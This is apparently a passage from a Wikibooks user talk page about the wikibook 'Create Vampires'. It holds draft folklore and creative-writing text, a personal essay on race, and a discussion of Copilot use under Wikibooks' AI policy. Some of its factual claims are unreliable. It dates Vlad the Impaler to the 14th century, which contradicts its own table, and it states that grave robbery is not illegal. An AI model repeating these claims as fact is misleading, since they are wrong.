for vampires of the imagination are obviously supernatural, yet other vampires of the imagination possess normal traits, yet are described as displaying unusual behaviors. In 1819, John Polidore wrote The Vampyre, a fictional piece that is noted as having introduced vampires of modern Fiction. The Poet Rudyard Kipling wrote in his The Vampire in 1897 "To a rag and a bone and a hank of hair," it is implied that Kipling's vampire is realistic, thus mostly made up. Tip: Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers. Perhaps Juliet in William Shakespeare's play: Romeo and Juliet could be described by some people as a vampire of the imagination. Does William Shakespeare describe physical traits that would support this claim or unusual interpretation? Do the characters act in ways that may influence, or inspire, future imaginative vampire stories?<br> <br> [new section: Why Create Vampires? Legal Considerations] <br> '''<u>Why Create Vampires? Legal Considerations</u>''' <br> For many legal reasons, people are not allowed to poison then legally bury other people alive, nor are people allowed to rob another person's grave. <br> When we hear about the grim and bloody punishments Vlad- The Impaler inflicted on grave robbers and other lawless thieves, we may start to wonder, why create vampires? <br> <br> It is rumored that Vlad - The Impaler, Prince of Wallachia (a region now known as southern Romania), ran spikey poles through his enemies during the middle of the 14th century. Vlad may have impaled hundreds, worse, many of the impaled were left outside his city on display as a warning to scare off invaders and robbers, including grave robbers! Many folk stories about the Prince of Wallachia circulate where folk stories are written and read. <br> <br> When vampire folklore is reviewed, we learn about History, and about people from other cultures, many who struggled with, and for their humanity. We learn of the methods (sometimes bloody) people used to solve problems, and we may wonder how our society would fairly solve our problems while staying humane. We may also wonder about other folk stories from around the world, such as the zombie-person, the demon-person, or the hungry ghost-person. How does a human get turned into a hungry ghost-person? <br> <br> [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:33, 25 August 2022 (UTC) <br> Sources: <br> [[https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/|https://healthpsychologyconsultancy.wordpress.com/2012/07/13/the-energy-vampire-personality-type/]] wordpress.com Reviewed: 8/19/2022 <br> [[https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957|https://theconversation.com/five-vampire-traits-that-exist-in-the-natural-world-104957]] theconversation.com <br> [[https://www.dictionary.com/browse/cuspid|https://www.dictionary.com/browse/cuspid]] www.dictionary.com <br> Thanks [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:03, 19 August 2022 (UTC) == DROPPING MY RACIAL BAGGAGE == <br> MY PERSONAL INFORMATION SEEMS TO BELONG ON MY DISCUSSION PAGE.<br> Dropping My Racial Baggage <br> On my body I have two birthmarks. One is a darker brown than my normally brown body, the other is a yellowish-brown birthmark, lighter than most of my brown body. I always knew my family was blended, we merged and emerged from attractive dark brown and yellowish-brown relatives who could pass as white because of their facial features. Today, I’m sure they could blend with tan Americans, meaning Americans who are a lighter brown in skin complexion and appearance. I always thought my family was most like the family from The Cosby Show, a popular family TV Show. On The Cosby Show, Bill Cosby’s TV father was not embarrassed by the members of his family who came in a range of shades, from dark brown to almost-white. The fact was that families with extended family members felt comfortable, and popular, claiming all the members of their family! This was ideal. Some people wanted to celebrate. The 1980s were diverse and positive times for family Entertainment. As opposed to foreign cultural notions of people checking one of two boxes: black or white, and away from similar subversive cultural norms … black and tan? The composition by Duke Ellington comes to mind… I consider most Americans in a range between dark brown and tan. When people ask me my race, I always say “brown,” because I am a brown woman, or to be technically correct, I am a multi-colored, 4th dimensional woman. Most people do not want to be super-technical (by acknowledging the 4th dimension of space-time), yet people seem to want to live reasonable lives. For example, why can’t the box of 8 colors describe the colors we see when we look at other people? Perhaps crayons’ manufacturers, CRAYOLA, did need to make several flesh colored crayons and market colors that people appear to be, ranging from dark brown to light brown. After watching America’s Top Model, at least 13 seasons, I realized that most people can see beyond the simple “black” or “white” description, yet there are people who will describe a brown, or a tan person as either “black” or “white.” Humans calling people “black” or “white” use to mildly bother me, I remember when I roomed with a Jewish person, (a student who ate pepperoni pizza with few problems), a young woman who re-named me “black” every time I spoke with her, I remember feeling puzzled, then resentful. My third-grade Teacher never labeled me black, the other African-Americans in my High School never left me with the “black” label, nor did a few Native Americans who were called “Asian-Americans,” (…about Native-Americans, I mean we know where America is, but where is Asia?) therefore I was really puzzled. During my “identity growth” years, when I considered the words other people used to label “me,” I was grouped with other teenagers, later, mis-leading college students and other young adults whose mis-labeling of others was either a shameful oversight or ironic (the irony based on previous unexamined cultural biases Americans had failed to question). What is ironic about public expressions of race is the fact that our notions about race are influenced by our culture. For example, in High School, I remember my excitement about the field of Science, a high point after I had read a TIME magazine article that reported Scientist who could trace DNA via. The mitochondrial organelles. What I remember from my Cell Biology books are that the mitochondria are the “power house” of the cell. The article suggested that we could trace our ancestors DNA not just from DNA found in the nucleus, but also through analyzing unique DNA found in the mitochondria. This information made news, in fact, the cover of that TIME magazine was a arty image with a updated image of Adam and Eve. I assume the updated image was to announce the new Science developing to help find our ancestors and discovering our relatives. I remember that I stood in front of my Science class with a issue of TIME magazine in my hand, and I asked the class if they knew “black” people were in the garden of Eden. The arty image on the cover of TIME actually showed people who looked like African-Americans, people with brownish-tan skin, and mid-length curly hair. People in America who looked like the image on the TIME magazine cover were / are called “black” in America. As I gain a greater appreciation for the Arts, especially after I took a few Art appreciation classes, I realize that forcing a racial classification was rude, by asking if the class knew that black people were in the garden of Eden, I exposed my mis-education. It is the ironic mis-education I remember I attached to the arty TIME magazine cover. In my early weeks on my college campus, I would brag about my chosen field: Genetics. Because there was no major in Genetics, I had to settle for a Biology or a Chemistry major. I could take extra classes that focused on Genetics. Other Science students were also interested in Genetics and seemed the types who would follow me into Genetic fields where we would, hopefully, find jobs in Genetics, where we would one day help to cure genetic disorders. That was my teenage dream for my future career. Turns out, reality is less ideal. Although I did find meaningful work later, in a laboratory that studied animal genetics, I basically learned how to use modern Science equipment [a giant lesson needed if Science is to improve our understandings…]. Science equipment is complex, and often, a lack of a good understanding of Science and Technology left Science students with puzzling results… I also worked at a Hospital, and I proudly held a healthy and alert white baby boy whose parents were probably immigrants from China. Technically, I have held white children, and I technically believe that they are a minority, and like other children, small white children should always be protected by adults and by our government. Finally, I use to converse with other students about my hair, or about my complexion [my hair and skin does lighten and darken with sunlight exposure]. Few students believed I needed to allow my hair to be natural, to see the two different hair types (one tight and curly, like a spiral, the other less tight, more wavey), or that my time spent without make-up (concealer) was necessary, yet my time spent without make-up allowed my brown complexion to emerge (in its range of brownness). By studying my genotypic expression, my biological inheritance, my outer surface appeared. I studied myself as I truly would appear without cosmetics, concealers, and hair-straighteners. I did not burn my bra (I did have limits), yet freeing oneself of “surface enhancers” allowed me to feel confident in who I truly was: a healthier, brown woman with black curly hair. I suppose I found myself? Nonsense, how could I ever lose me? I allowed my natural surface appearance to emerge, at least for a brief time in my life. Were college students who were once interested in Genetics as a career path impressed? Probably not. For unknown reasons, the ‘natural’ black chick, or the brown wannabe white-Hippy stereotype seemed to follow me. After exposure to radiation [a safe level] while working in a research laboratory, I did follow a popular “back-to-nature” path where I preferred natural products to “overprocessed” or processes products. My non-racist friends, many blond with sun-kissed brown skin, were typical “white Hippies,” yet I didn’t have to be a wannabe white-Hippy to be a non-racist woman who supported nature, was a Environmentalist, and a supporter of better opportunities for all Americans, regardless of their color, religion or gender! When I went online to share my learnings, gleaned from my factual college experiences, I was treated like a poor black child who couldn’t understand racist online… What? I could look up the definition for racism. [Racism (n): prejudice, discrimination, or antagonism directed against a person or people on the basis of their membership in a particular racial or ethic group, typically one that is a minority or marginalized]. As I understand the concept, racism is a flawed ideology that simplifies reality, forcing complex humans into limited conceptual categories. I was always against individual racist, preferring my own understanding of the situation from Dr. Martin Luther King’s point-of view, as I remember his message, we should judge a man based on his character [his deeds] and not on the color of his skin. To better fight against racism, I got help from Christians. In general, Christians believe that God has a plan for all of humanity. Many Christians believe that all people are the children of God. In the presence of active Christians on campus, I met actual black people, people with dark brown skin that could be mistook for the color black in bright sunlight. Near “black” people, I felt the color brown, there was no other way to describe my skin’s appearance. I was a brown human, which is what I had been saying since the 3rd grade in my public school! Contact with diversity confirmed my truth. Now that I am a Christian, I do not mentally pick-up racist ideology as being somehow above Christian beliefs and values. I do try to sense a person’s character. Realistically, most people in America struggle to raise their children because it is hard to raise good Christians and good citizens. I am done with dragging around “racial baggage,” I see people and choose religious values to pick-up, humanity to champion. == Dracula behind Vlad - The Impaler == Greetings! <br> I am glad people like Pi zero reminded me against original research, because I do not want to walk a mile in a undead man's shoes. I found most sources online and in public libraries [I do not have a insider perspective, nor do I want to become a special "inspiration" for a vampire-person in another special reader's world].<br> I want to create a new section: Dracula behind Vlad - The Impaler. <br> <br> '''Dracula behind Vlad - The Impaler''' <br> <br> Sometimes Writers will mock their times, or the leaders in their society through parody, or through satire. In some countries Writers have the freedom to mock real men in Politics, or of great military influence who seem, in deed, like real monsters. <br> In History, there are a few real monsters, men who we will remember for their cruelty, or for their massive injustices. This does not appear to be the case with Dracula, a novel character considered "inspired by" Vlad The Impaler. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 16:26, 23 August 2022 (UTC) Because of Bram Stoker, a popular Irish Writer, Vlad came to be known as the ''original'' Dracula. It is ironic that the fictional character, Dracula, is well known yet the historic man, Vlad, a Prince from a Romanian royal family, is less known. According to one writer / Historian, "...as he wrote Dracula, he borrowed certain aspects of Vlad's life and wove them in with local folklore from the region." <br> Vlad, a special Prince of Romania, is a difficult subject to research. His Political influence is greatest in Romania, as is his mythic achievements. Vlad seemed to have influenced local folklore before Bram Stoker wrote his novel, '''Dracula''' in 1897. <br> Estimates puts the number of people Vlad is rumored to have killed at around 80,000 people. That seems questionable, it seems unlikely for 1 man to have murdered [directly] a large chunk of the Romanian population. Although it was never rumored by the people who tell, and re-tell folk stories, that Vlad drank blood, he is known as the person behind many bloody impalements and beheadings. <br> According to Wikipedia, "Offences where impalement was occasionally employed included contempt for the state's responsibility for safe roads and trade routes by committing highway robbery or grave robbery, violating state policies or monopolies, or subverting standards for trade. Offenders have also been impaled for a variety of cultural, sexual, and religious reasons." <br> <br> Vlad's father was a ruler of Wallachia, a territory between the Ottoman Empire and Europe, a country whose modern name is now known as Romania (southern). {| class="wikitable" |+ |- ! 5 Facts About Vlad - The Romanian Prince |- | Father: Vlad Dracul |- | Mother: Cneajna |- | Born: 1428 - 1431 |- | Year of Reigns: 1448, 1456 - 1462, 1476 |- | Died: December 1476 - January 1477 |} Source: <br> <u>The World's Most Glorious And Notorious Rulers: The Great And The Terrible And How They Got Their Names"</u> by JoAnne O'Sullivan. Copyright 2020 by JoAnne O'Sullivan. Published by Running Press Kids, an imprint of Perseus Books, LLC. ISBN: 978-0-7624-9661-7 <br> <br> Wikipedia.com [https://en.wikipedia.org/wiki/Vlad_the_Impaler]<br> THANKS [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:19, 23 August 2022 (UTC) == Can a kind person help me update (concerning AI)? == Hello. I have not been online to edit Create Vampire in about a year. I noticed new information concerning AI, but I did not have enough time to read and reflect. I am not sure about what Wikibooks will allow concerning AI. I have my original introduction, which I fear may not be neutral enough. I would like to compare my original introduction with the AI rewrite of Vampires of the Imagination. Introduction: Vampires of the Imagination: Although vampires are creatures of folklore, monsters from the afterlife that are sometimes called the "un-dead," vampires are uniquely different from ghost, those lingering spirits who refuse to die. Although vampires, by definition, are animated corpses, vampires of the imagination must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Rewrite with AI: Vampires of the Imagination: In many cultural traditions, vampires are described as beings associated with death or the afterlife. They are often distinguished from ghosts, which are typically understood as disembodied spirits rather than reanimated bodies. Folklore commonly portrays vampires as animated corpses that sustain themselves by consuming the blood or life‑essence of the living. This characteristic has contributed to their development as a distinct category of supernatural figure within literature and popular culture. The idea of a blood‑dependent, corporeal being sets vampires apart from other figures in global folklore, many of which do not require physical sustenance or do not possess a physical form at all. In modern fiction, these traditional concepts have evolved into what may be called “vampires of the imagination”—creative interpretations that draw inspiration from historical beliefs while adapting traits to suit narrative, thematic, or symbolic purposes. These fictional versions vary widely, but they typically retain the core elements associated with vampires in earlier traditions: a connection to death, a physical body, and a form of predatory dependence on the living. Which seems best for Wikibooks? ~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 11:07, 12 May 2026 (UTC) == New Topics, we can develop == I hope to write a new section. I used Copilot AI to generate new ideas for Create Vampires. Here is an idea I would like to expand: Historical and Cross-Cultural Origins of Vampire Archetypes -Overview of vampire-like beings from other global folklore. - How these traditions shape modern vampire tales. - Build a table comparing characteristics across cultures. I got a list of vampire-like "beings" from AI. I created a new page. Historical And Cross-Cultural Origins of Vampire Archetypes: Asanbosam (Ashanti, Ghana) — A forest‑dwelling creature with iron teeth and hook‑like feet; attacks from trees. Obayifo (West Africa) — A witch‑like being believed to drain life‑energy from children. Adze (Ewe, Togo/Ghana) — A vampiric spirit that can take the form of a firefly and feed on blood or life‑force. European vampire-like beings: Strigoi (Romania) — Restless dead who return to drain vitality or blood from the living. Upir (Slavic regions) — Early Slavic vampire figure; often associated with disease and nocturnal attacks. Nachzehrer (Germany) — A corpse believed to consume its own burial shroud and psychically drain the living. Vrykolakas (Greece) — A reanimated body associated with plague, misfortune, and nocturnal predation. Mullo (Romani) — A dead person who returns to harm or drain the living. Asian vampire-like beings: Jiangshi (China) — A “hopping” reanimated corpse that drains qi (life‑energy). Penanggalan (Malaysia) — A woman whose head detaches with trailing organs; feeds on blood. Manananggal (Philippines) — A being that separates its upper body and preys on humans at night. Rakshasa (India) — A shape‑shifting demon that sometimes consumes flesh or life‑force. Pontianak / Kuntilanak (Indonesia/Malaysia) — A vampiric spirit of a woman who died in childbirth Middle Eastern vampire-like beings: Ghul (Arabian folklore) — A desert‑dwelling creature that consumes flesh and sometimes blood. Alp (Turkic regions) — A nocturnal spirit that causes nightmares and may drain vitality. Estrie (Jewish folklore) — A female vampiric demon that feeds on blood. The American vampire-like beings: Chupacabra (Latin America) — A modern cryptid said to drain blood from livestock. Tlahuelpuchi (Mexico, Tlaxcala) — A shape‑shifting being, often female, believed to feed on blood. Soucouyant (Caribbean) — A woman who sheds her skin and becomes a fireball to feed on blood. Wendigo (Algonquian peoples) — Not a vampire, but a cannibalistic spirit associated with hunger and consumption. Oceanian vampire-like beings: Yara-ma-yha-who (Australia, Aboriginal folklore) — A small red creature that drains blood through suckers on its hands and feet. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 12:45, 12 May 2026 (UTC) == Copilot AI Use == On May 12, 2026 <br> I asked Microsoft Copilot (AI) several questions. <br> Q: Hello Copilot. I have a question. What are a few ideas to use on a wikibooks page about vampires? The page is nonfictional. The page is entitled: Create Vampires. <br> Q: Is this tone neutral? "Vampires of the Imagination" [section] <br> Rewrite the entire "Vampires of the Imagination" section in perfect wikibooks tone.<br> Q: Can you give a list of vampire-like beings in global folklore? <br> Q: How do I cite my source? <br> Build a bibliography for me. <br> Q: How would I introduce the concept: Archetype, and the overview of vampire-like beings in global folklore? <br> Q: Do you know how these traits shaped modern vampire traits? <br> Create a table showing which cultures contributed which traits. <br> Q: Can you please analyze The Vampire by Kipling? <br> Q: Can you help me with literary and media analysis, tropes and how they evolved? <br> Q: Can you give me examples of literary pitfalls? <br> Analyze examples from literature or media that fall into or avoid these pitfalls. <br> Q: Where [were] there any Authors who originated vampire tropes? <br> Q: How do I reference vampire literary pitfalls and how to avoid them? <br> Q: Can you cite your sources for the vampire literary pitfalls and how to avoid them section? <br> <br> End of questions concerning Create Vampires. <br> I ask, did I document each instance of using AI correctly? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 08:03, 15 May 2026 (UTC) :@[[User:3MMPEYTON|3MMPEYTON]] to clarify, have you been using generative AI for all your contributions at Wikibooks? —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:50, 15 May 2026 (UTC) ::No. I have created many pages before May 12th, 2026, without assistance from AI. ::I have listed the prompts I used when interacting with Copilot, in order to brainstorm for new ideas. ::Copilot extended my original ideas for the books pages. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 17:29, 15 May 2026 (UTC) :::@[[User:3MMPEYTON|3MMPEYTON]] Got it. Please note that [[Wikibooks:Artificial intelligence|Wikibooks policy]] expressly prohibits the use of generative AI to {{tq|"generate or summarize material and ideas at Wikibooks"}}, so this content you added after May 12 may need to be deleted. Let me know if you have any questions about this! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 02:07, 20 May 2026 (UTC) == Now What? Thanks for reading, and commenting! == How do I un-learn the factual information Copilot (AI) gave me? Most of the information he listed, I found on Wikipedia, I then edited and summarized the information. Copilot provided a list that was specific, allowing me to easily access information on Wikipedia. How can I continue to use Wikipedia as a source, after having used Copilot? I also rewrote most of the information Copilot introduced. I treated Copilot like a resource, similar to Wikipedia, I was careful to re-write each line. I also used Copilot to give me a list of Authors who influenced the vampire genre. This list had names of writers I had not read yet. How do I move around this list of famous Authors? They are a kind of "core" group of Authors. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:57, 22 May 2026 (UTC) == What About Search Engines? == Can I use Google's search engine to answer a few questions I had already asked Microsoft Copilot? I know that Google's search engine sometimes uses its AI to answer questions. Is this permitted? [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 19:52, 22 May 2026 (UTC) == A General Question == This is a question concerning Wikibooks and Artificial Intelligence, or AI.<br> Can Wikibooks create a section for AI-Wikibooks? I'm certain AI can provide extensive information to people, for FREE, in a tone that reflects Wikibook's stylistic standards. The only problems I see, is fact-checking the information AI provides. Any thoughts? As of today, AI material is copyright free, because AI is not a person. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:17, 23 May 2026 (UTC) == Proposal to Allow Limited, Transparent Use of Generative AI as an Assistant Tool == Dear Wikibookians, <br> <br> I am writing because our community has an opportunity to update or change our current guidelines regarding generative AI. <br> <br> I propose we integrate generative AI. It is my hope that we can work with AI in a manner that supports human authorship. <br> <br> By allowing limited use of generative AI, we may be able to cull through facts quickly, fact check with greater accuracy, locate emerging information, and verify dates. We may also use generative AI to help us organize information. <br> <br> Using generative AI as an assistant tool will not replace human creativity. <br> Writers and Editors can post our community guidelines into the computer’s prompter, thereby clearly define what Wikibooks will and will not allow. <br> By allowing generative AI, we can improve our books and publish with greater speed. <br> <br> By adopting a limited, clearly defined framework, we can: <br> • Preserve the human voice and originality of every contributor <br> • Improve factual accuracy and reduce unintentional errors <br> • Support contributors who may not have access to extensive research libraries <br> • Keep Wikibooks competitive, relevant, and forward looking <br> <br> Thank you for considering this proposal. <br> Sincerely, Minda Peyton [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 03:53, 27 August 2026 (UTC) == Hello Wikibookians! == My name is Minda Peyton. I have been a writer for Wikibooks for several years. <br> I have worked on Create Vampires, a book about vampires! I invite you to read and contribute. <br> Thank you. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 13:22, 29 August 2026 (UTC) == Wikibooks is not a personal web hosting space or blog == Hi @[[User:3MMPEYTON|3MMPEYTON]]! I recently reverted a large edit you added to your talk page that documents a personal chat history with an LLM. This is because that content violates the Wikibooks scope—we are not a place to host personal materials unrelated to our scope. I am also concerned that these issues are present in a lot of the edits you have made at Wikibooks—for more information about what isn't allowed here, see [[WB:NOT]]. Please feel free to ask me directly if you have questions. Thank you! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 14:22, 17 September 2026 (UTC) qhvz4b0jy2zugb4gmtjnmuvqrgdfop6 4670675 4670671 2026-09-17T14:25:18Z Kittycataclysm 3371989 Notifying author about page tagging 4670675 wikitext text/x-wiki == Zombie by Margaret Atwood == '''Zombie''' is a poem by the world famous poet Margaret Atwood. Her poem can be found in her book <u>'''Dearly'''</u>, a collection of her new poems. I hope to post a critical essay on 'Zombie' by Margaret Atwood, as a example of critical analysis in Literature. I am certain that I can fairly reprint a few lines from the poem, yet I'm not sure if I can post the entire poem. Any suggestions? Thanks~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:04, 25 June 2022 (UTC) <br> There you have it: zombie. <br> Didn't you always suspect? <br> "Poetry is the past <br> that breaks out in our hearts" <br> like a virus, like an infection. <br> <br> The quote within the poem: "Poetry is the past that breaks out in our hearts..." is taken from the poet Rilke. <br> ==NEW EDITS!== NEW TOPIC: [ I left these paragraphs under CREATE VAMPIRES / History and Folklore ] History, meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek historia, according to Wikipedia. https://en.wikipedia.org/wiki/Portal:History History is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. The study of History is a major discipline in academic fields. The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. Imaginative young readers today, could greatly benefit from Creative Writing classes offered in many Public High Schools. Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. Creative writing is not a discipline in academic fields. Create Vampire is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! TIP: Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? I edited this major paragraph Create Vampires / History and Folklore / Create Vampires?: <BR>CREATE VAMPIRES? In a world where people desire to make a lot of money, in the shortest amount of time. In a world where bank robbery is illegal, yet grave-robbery is not...? In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note? I hope to add this paragraph [somewhere after "The nature of the vampire shifted from folklore stories..."] The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. <BR>Thanks. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) == I will miss Pi zero. == Although this is a personal response, in no way related to "Create Vampires," I have recently learned of Wikibooks' loss. Pi zero was a great guide, and I will miss his guidance when I am loss on Wikibooks. He was a special person online. Now I wonder who will remind me to avoid ORIGINAL RESEARCH? LOL. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:54, 15 August 2022 (UTC) == Why Create Vampires? == I added 5 new paragraphs to a new page: Why Create Vampires? <br> Contributions from Wikibookians interested in these subjects, especially vampires, are welcomed! <br> <br> [new section] What would happen if you woke-up one day with a horrible craving for blood? What if you woke up, then slowly realized that you were invisible, would you get dressed out of habit? What if you woke-up one day both hungry and invisible? What would you do? These are questions writers may consider when approaching fictional narratives. Stories about ghosts, angels, zombies and vampires are popular with modern readers, yet why do people write about vampires? Should you? Perhaps writing creatively about a fascinating subject is a bit of a dream. In order to first figure out what to write, some people may choose to gather together with other writing students to consider and experiment with ideas and techniques of use to other Writers. Classes that encourage creative writing, may encourage exploration of fascinating subjects, such as vampires. Exploration of unusual subjects can be rewarding to the creative spirit! Creative writing is a self-developmental process involving your creativity, using established techniques of the Writer’s craft, shaped by your level of honesty. In creative writing classes, your story is not just your creative expression, each story you take time to write is similar to a window allowing people to share in the communication process. You don’t just share common norms about spelling, grammar, or idiomatic expressions used by normal people, your story can share information about how a group of people reacted to life-altering events, meaning your stories can in a general sense, reflect the society and times you observe and write about. Because every writer is advised to “write what you know,” you may willingly look for safe ways to write what you know, creatively, in a non-factual manner that may not share factual information, yet will express your emotions, or will reflect the feelings of everyone. Creative writing is about telling a story, in a expressive, original manner. Techniques like tone, meaning how to express the right mood, emotional intensity, or level of humor, meaning how we tell the story using the right tone to a reader who is unable to hear you, or hear the people your story will reflect, may become easier after we have developed better writing skills. Creative writing is a subject about developing better writing skills, and allowing honest expression, often in non-factual, creative ways. <br> <br> Writers who write about the vampires from their imagination maybe following their own personal creative spirit. <br> <br> <br> I WILL SLOWLY ADD MORE INFORMATION TO THIS SECTION [NOT ON MAIN PAGE] Why Create Vampires? / Warning! <br> '''WARNING: <u>Vampires of the imagination in action!</u>''' <br> <br> Giving warnings against vampires of the imagination maybe a useful device writers could explore. <br> Typical vampires of the imagination are not friendly characters, they seem to possess unusual traits and characteristics, they are not popular, <br> almost un-loveable, and very problematic.<BR> <br> {| class="wikitable" |+ COMMON VAMPIRE-IMAGINATION TRAITS + CHARACTERISTICS:<br> |- ! Traits !! !! Characteristics |- | Pale / Deadly pale || || Enjoy isolation / Loner personality |- | Long fangs / Fang-ish teeth || || Predator personality |- | Thin || || Alpha Male type |- | Black hair / Brown Hair || || "Energy Vampire" : Negativity, overly dramatic, hostile rages, complaints and sad stories. |- | Re-animated corpse with failing body issues. || || |} <BR> Vampires of the imagination that seem to be re-animated, walking corpses, some with dominate alpha-male behaviors and sharp cuspids, could be a terror, a monster, or a walking nightmare to a town, or neighborhood. It is easy for Writers to warn their readers against such a vampire [...of the imagination], yet what about vampires with subtle negative energy influences? What of Energy vampires and other less monster-ish vampires of the imagination?<br> <BR> '''Tip:''' Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. <BR> These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers.<BR> <br> {| class="wikitable" |+ Supernatural Vampire Traits |- ! Traits that are supernatural !! Mythological Creature |- | Immortality <br>Drinking blood <br> Sunlight Poisoning<br> Heightened senses <br> Morphing || [[File:"Le Vampire".jpg|thumb|"Le Vampire"]] |} <br> Vampire stories found in Eastern European Folklore often warn people against evil characters, or of a evil character [the antagonist] <br> who in a malicious manner seeks to harm innocent people. Regardless of the motive, the methods are of drugging [poisoning] the victim, <br> which often leads to the innocent person getting buried alive, and / or having their graves robbed by grave-robbers interested <br> in robbing the rich. Many Eastern European folk stories have warnings against grave-robbers! <br> <br> Some traits for vampires of the imagination are obviously supernatural, yet other vampires of the imagination possess normal traits, yet are described as displaying unusual behaviors. In 1819, John Polidore wrote The Vampyre, a fictional piece that is noted as having introduced vampires of modern Fiction. The Poet Rudyard Kipling wrote in his The Vampire in 1897 "To a rag and a bone and a hank of hair," it is implied that Kipling's vampire is realistic, thus mostly made up. Tip: Typically, humans have four cuspids in their mouth. Two on the bottom, and two on the top left and right side of the mouth. These are the sharpest, longest teeth, they have a pointed edge and have been called "vampire teeth" by some Writers. Perhaps Juliet in William Shakespeare's play: Romeo and Juliet could be described by some people as a vampire of the imagination. Does William Shakespeare describe physical traits that would support this claim or unusual interpretation? Do the characters act in ways that may influence, or inspire, future imaginative vampire stories?<br> <br> [new section: Why Create Vampires? Legal Considerations] <br> '''<u>Why Create Vampires? Legal Considerations</u>''' <br> For many legal reasons, people are not allowed to poison then legally bury other people alive, nor are people allowed to rob another person's grave. <br> When we hear about the grim and bloody punishments Vlad- The Impaler inflicted on grave robbers and other lawless thieves, we may start to wonder, why create vampires? <br> <br> It is rumored that Vlad - The Impaler, Prince of Wallachia (a region now known as southern Romania), ran spikey poles through his enemies during the middle of the 14th century. Vlad may have impaled hundreds, worse, many of the impaled were left outside his city on display as a warning to scare off invaders and robbers, including grave robbers! Many folk stories about the Prince of Wallachia circulate where folk stories are written and read. <br> <br> When vampire folklore is reviewed, we learn about History, and about people from other cultures, many who struggled with, and for their 